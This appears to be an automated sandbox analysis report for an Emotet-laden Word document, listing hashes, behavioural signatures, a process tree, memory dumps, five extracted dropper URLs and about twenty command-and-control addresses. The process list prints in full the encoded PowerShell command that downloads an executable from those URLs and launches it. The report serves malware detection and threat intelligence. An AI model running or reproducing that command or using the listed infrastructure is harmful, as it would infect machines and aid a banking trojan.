Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    60s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    12/08/2020, 10:43

Sharing

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General

  • Target
    emotet_e3_ba509a28def7c42418eb07fad9b3b9a48c8fa178ec6896c528ef6be0d80d93ea_2020-08-12__104212._doc.doc
  • Size 230KB
  • Sample200812-cs4j8abrva
  • SHA256 ba509a28def7c42418eb07fad9b3b9a48c8fa178ec6896c528ef6be0d80d93ea
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://disbain.es/wp-includes/sjDqmAWt/
  • exe.dropper

    https://bluecoach.me/pllbl/PuBDVuY/
  • exe.dropper

    https://ahdaaf.me/site/o8pybs6024/
  • exe.dropper

    http://kjnk.ee/awstats-icon/eOn/
  • exe.dropper

    https://backroom.co.nz/1080/ansyQsw/

Extracted

Family

  • emotet

C2

  • 176.216.226.44:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 97.104.107.190:80

  • 178.33.167.120:8080

  • 46.105.131.68:8080

  • 78.189.60.109:443

  • 198.57.203.63:8080

  • 153.220.182.49:80

  • 143.95.101.72:8080

  • 105.213.67.88:80

  • 203.153.216.182:7080

  • 77.74.78.80:443

  • 185.208.226.142:8080

  • 188.251.213.180:443

  • 192.163.221.191:8080

  • 172.105.78.244:8080

  • 50.116.78.109:8080

  • 46.32.229.152:8080

  • 201.235.10.215:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_ba509a28def7c42418eb07fad9b3b9a48c8fa178ec6896c528ef6be0d80d93ea_2020-08-12__104212._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1456
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABMAFUAUwBDAEcAZwBzAGMAPQAnAFkAUABKAFQASQBiAHUAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAGAAUgBgAEkAVABZAFAAYABSAE8AYABUAE8AQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABOAFkAVwBYAEsAbABoAHAAIAA9ACAAJwA1ADcAMgAnADsAJABBAEsAUABaAE0AeAB0AGoAPQAnAFYAWgBHAEsARABhAGwAZQAnADsAJABXAEUARABXAFkAZgBjAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4AWQBXAFgASwBsAGgAcAArACcALgBlAHgAZQAnADsAJABVAFkAVwBFAFcAdQBlAGgAPQAnAFQAUABVAEQARwB3AGYAcAAnADsAJABIAEMATABGAEIAbABhAHQAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AVwBlAEIAYwBsAEkARQBOAFQAOwAkAFgASgBVAEIASgB6AGcAaAA9ACcAaAB0AHQAcABzADoALwAvAGQAaQBzAGIAYQBpAG4ALgBlAHMALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBzAGoARABxAG0AQQBXAHQALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAdQBlAGMAbwBhAGMAaAAuAG0AZQAvAHAAbABsAGIAbAAvAFAAdQBCAEQAVgB1AFkALwAqAGgAdAB0AHAAcwA6AC8ALwBhAGgAZABhAGEAZgAuAG0AZQAvAHMAaQB0AGUALwBvADgAcAB5AGIAcwA2ADAAMgA0AC8AKgBoAHQAdABwADoALwAvAGsAagBuAGsALgBlAGUALwBhAHcAcwB0AGEAdABzAC0AaQBjAG8AbgAvAGUATwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AYgBhAGMAawByAG8AbwBtAC4AYwBvAC4AbgB6AC8AMQAwADgAMAAvAGEAbgBzAHkAUQBzAHcALwAnAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAVgBHAEUATQB3AGwAZwA9ACcAUgBFAEYAVABXAHgAdgBpACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAEsAUwBSAFQAcgB4AHoAIABpAG4AIAAkAFgASgBVAEIASgB6AGcAaAApAHsAdAByAHkAewAkAEgAQwBMAEYAQgBsAGEAdAAuACIAZABgAG8AdwBOAGwAbwBhAEQAYABGAEkATABlACIAKAAkAFMASwBTAFIAVAByAHgAegAsACAAJABXAEUARABXAFkAZgBjAHgAKQA7ACQARQBXAE8AVQBVAGUAZgB6AD0AJwBMAFMAUwBLAEUAbwB0AHAAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABXAEUARABXAFkAZgBjAHgAKQAuACIAbABFAG4AYABHAFQAaAAiACAALQBnAGUAIAAyADYAOAA0ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAQQB0AEUAIgAoACQAVwBFAEQAVwBZAGYAYwB4ACkAOwAkAFEATABaAFMAUABqAG4AZAA9ACcAQQBUAFgASABYAGcAYgBzACcAOwBiAHIAZQBhAGsAOwAkAEIAQgBCAFkATQBkAGEAbwA9ACcASABaAFEAQQBHAG8AZABzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUARABZAEwASABiAHMAegA9ACcATwBLAFUARABEAHcAYQBvACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1808
  • C:\Users\Admin\572.exe
    C:\Users\Admin\572.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\SysWOW64\deskadp\ole2nls.exe
      "C:\Windows\SysWOW64\deskadp\ole2nls.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1620

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1456-9-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1456-7-0x0000000006E40000-0x0000000007040000-memory.dmp
        Download

        memory/1456-5-0x000000000AB70000-0x000000000AB74000-memory.dmp
        Download

        memory/1456-2-0x0000000008AE0000-0x0000000008AE4000-memory.dmp
        Download

        memory/1456-6-0x000000000BBF0000-0x000000000BBF4000-memory.dmp
        Download

        memory/1588-19-0x0000000000380000-0x000000000038C000-memory.dmp
        Download

        memory/1620-22-0x0000000000200000-0x000000000020C000-memory.dmp
        Download

        memory/1808-12-0x000000001AC40000-0x000000001AC41000-memory.dmp
        Download

        memory/1808-16-0x000000001B6A0000-0x000000001B6A1000-memory.dmp
        Download

        memory/1808-15-0x000000001C2F0000-0x000000001C2F1000-memory.dmp
        Download

        memory/1808-14-0x0000000002420000-0x0000000002421000-memory.dmp
        Download

        memory/1808-13-0x00000000025C0000-0x00000000025C1000-memory.dmp
        Download

        memory/1808-11-0x0000000002080000-0x0000000002081000-memory.dmp
        Download

        memory/1808-8-0x000007FEEA810000-0x000007FEEB1FC000-memory.dmp
        Download

        memory/2032-23-0x000007FEEAF80000-0x000007FEEB1FA000-memory.dmp
        Download